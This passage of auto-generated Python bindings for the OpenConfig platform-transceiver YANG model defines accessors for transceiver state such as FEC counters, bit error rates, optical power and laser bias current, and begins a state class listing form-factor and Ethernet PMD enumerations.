hasattr(self, '_set'): self._set() def _unset_fec_uncorrectable_words(self): self.__fec_uncorrectable_words = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_corrected_bytes(self): """ Getter method for fec_corrected_bytes, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bytes (yang:counter64) YANG Description: The number of bytes that were corrected by the FEC """ return self.__fec_corrected_bytes def _set_fec_corrected_bytes(self, v, load=False): """ Setter method for fec_corrected_bytes, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bytes (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_corrected_bytes is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_corrected_bytes() directly. YANG Description: The number of bytes that were corrected by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_corrected_bytes must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_corrected_bytes = t if hasattr(self, '_set'): self._set() def _unset_fec_corrected_bytes(self): self.__fec_corrected_bytes = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_corrected_bits(self): """ Getter method for fec_corrected_bits, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bits (yang:counter64) YANG Description: The number of bits that were corrected by the FEC """ return self.__fec_corrected_bits def _set_fec_corrected_bits(self, v, load=False): """ Setter method for fec_corrected_bits, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bits (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_corrected_bits is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_corrected_bits() directly. YANG Description: The number of bits that were corrected by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_corrected_bits must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_corrected_bits = t if hasattr(self, '_set'): self._set() def _unset_fec_corrected_bits(self): self.__fec_corrected_bits = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_pre_fec_ber(self): """ Getter method for pre_fec_ber, mapped from YANG variable /components/component/transceiver/state/pre_fec_ber (container) YANG Description: Bit error rate before forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__pre_fec_ber def _set_pre_fec_ber(self, v, load=False): """ Setter method for pre_fec_ber, mapped from YANG variable /components/component/transceiver/state/pre_fec_ber (container) If this variable is read-only (config: false) in the source YANG file, then _set_pre_fec_ber is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_pre_fec_ber() directly. YANG Description: Bit error rate before forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """pre_fec_ber must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__pre_fec_ber = t if hasattr(self, '_set'): self._set() def _unset_pre_fec_ber(self): self.__pre_fec_ber = YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_post_fec_ber(self): """ Getter method for post_fec_ber, mapped from YANG variable /components/component/transceiver/state/post_fec_ber (container) YANG Description: Bit error rate after forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__post_fec_ber def _set_post_fec_ber(self, v, load=False): """ Setter method for post_fec_ber, mapped from YANG variable /components/component/transceiver/state/post_fec_ber (container) If this variable is read-only (config: false) in the source YANG file, then _set_post_fec_ber is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_post_fec_ber() directly. YANG Description: Bit error rate after forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """post_fec_ber must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__post_fec_ber = t if hasattr(self, '_set'): self._set() def _unset_post_fec_ber(self): self.__post_fec_ber = YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_output_power(self): """ Getter method for output_power, mapped from YANG variable /components/component/transceiver/state/output_power (container) YANG Description: The output optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__output_power def _set_output_power(self, v, load=False): """ Setter method for output_power, mapped from YANG variable /components/component/transceiver/state/output_power (container) If this variable is read-only (config: false) in the source YANG file, then _set_output_power is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_output_power() directly. YANG Description: The output optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """output_power must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__output_power = t if hasattr(self, '_set'): self._set() def _unset_output_power(self): self.__output_power = YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_input_power(self): """ Getter method for input_power, mapped from YANG variable /components/component/transceiver/state/input_power (container) YANG Description: The input optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__input_power def _set_input_power(self, v, load=False): """ Setter method for input_power, mapped from YANG variable /components/component/transceiver/state/input_power (container) If this variable is read-only (config: false) in the source YANG file, then _set_input_power is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_input_power() directly. YANG Description: The input optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """input_power must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__input_power = t if hasattr(self, '_set'): self._set() def _unset_input_power(self): self.__input_power = YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_laser_bias_current(self): """ Getter method for laser_bias_current, mapped from YANG variable /components/component/transceiver/state/laser_bias_current (container) YANG Description: The current applied by the system to the transmit laser to achieve the output power. The current is expressed in mA with up to two decimal precision. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__laser_bias_current def _set_laser_bias_current(self, v, load=False): """ Setter method for laser_bias_current, mapped from YANG variable /components/component/transceiver/state/laser_bias_current (container) If this variable is read-only (config: false) in the source YANG file, then _set_laser_bias_current is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_laser_bias_current() directly. YANG Description: The current applied by the system to the transmit laser to achieve the output power. The current is expressed in mA with up to two decimal precision. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """laser_bias_current must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__laser_bias_current = t if hasattr(self, '_set'): self._set() def _unset_laser_bias_current(self): self.__laser_bias_current = YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) enabled = __builtin__.property(_get_enabled) form_factor_preconf = __builtin__.property(_get_form_factor_preconf) ethernet_pmd_preconf = __builtin__.property(_get_ethernet_pmd_preconf) fec_mode = __builtin__.property(_get_fec_mode) present = __builtin__.property(_get_present) form_factor = __builtin__.property(_get_form_factor) connector_type = __builtin__.property(_get_connector_type) vendor = __builtin__.property(_get_vendor) vendor_part = __builtin__.property(_get_vendor_part) vendor_rev = __builtin__.property(_get_vendor_rev) ethernet_pmd = __builtin__.property(_get_ethernet_pmd) sonet_sdh_compliance_code = __builtin__.property(_get_sonet_sdh_compliance_code) otn_compliance_code = __builtin__.property(_get_otn_compliance_code) serial_no = __builtin__.property(_get_serial_no) date_code = __builtin__.property(_get_date_code) fault_condition = __builtin__.property(_get_fault_condition) fec_status = __builtin__.property(_get_fec_status) fec_uncorrectable_blocks = __builtin__.property(_get_fec_uncorrectable_blocks) fec_uncorrectable_words = __builtin__.property(_get_fec_uncorrectable_words) fec_corrected_bytes = __builtin__.property(_get_fec_corrected_bytes) fec_corrected_bits = __builtin__.property(_get_fec_corrected_bits) pre_fec_ber = __builtin__.property(_get_pre_fec_ber) post_fec_ber = __builtin__.property(_get_post_fec_ber) output_power = __builtin__.property(_get_output_power) input_power = __builtin__.property(_get_input_power) laser_bias_current = __builtin__.property(_get_laser_bias_current) _pyangbind_elements = OrderedDict([('enabled', enabled), ('form_factor_preconf', form_factor_preconf), ('ethernet_pmd_preconf', ethernet_pmd_preconf), ('fec_mode', fec_mode), ('present', present), ('form_factor', form_factor), ('connector_type', connector_type), ('vendor', vendor), ('vendor_part', vendor_part), ('vendor_rev', vendor_rev), ('ethernet_pmd', ethernet_pmd), ('sonet_sdh_compliance_code', sonet_sdh_compliance_code), ('otn_compliance_code', otn_compliance_code), ('serial_no', serial_no), ('date_code', date_code), ('fault_condition', fault_condition), ('fec_status', fec_status), ('fec_uncorrectable_blocks', fec_uncorrectable_blocks), ('fec_uncorrectable_words', fec_uncorrectable_words), ('fec_corrected_bytes', fec_corrected_bytes), ('fec_corrected_bits', fec_corrected_bits), ('pre_fec_ber', pre_fec_ber), ('post_fec_ber', post_fec_ber), ('output_power', output_power), ('input_power', input_power), ('laser_bias_current', laser_bias_current), ]) from . import pre_fec_ber from . import post_fec_ber from . import output_power from . import input_power from . import laser_bias_current class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-platform - based on the path /components/component/transceiver/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Operational state data for client port transceivers """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__form_factor_preconf','__ethernet_pmd_preconf','__fec_mode','__present','__form_factor','__connector_type','__vendor','__vendor_part','__vendor_rev','__ethernet_pmd','__sonet_sdh_compliance_code','__otn_compliance_code','__serial_no','__date_code','__fault_condition','__fec_status','__fec_uncorrectable_blocks','__fec_uncorrectable_words','__fec_corrected_bytes','__fec_corrected_bits','__pre_fec_ber','__post_fec_ber','__output_power','__input_power','__laser_bias_current',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): helper = kwargs.pop("path_helper", None) if helper is False: self._path_helper = False elif helper is not None and isinstance(helper, xpathhelper.YANGPathHelper): self._path_helper = helper elif hasattr(self, "_parent"): helper = getattr(self._parent, "_path_helper", False) self._path_helper = helper else: self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) self.__form_factor_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__ethernet_pmd_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__fec_mode = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__present = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) self.__form_factor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', 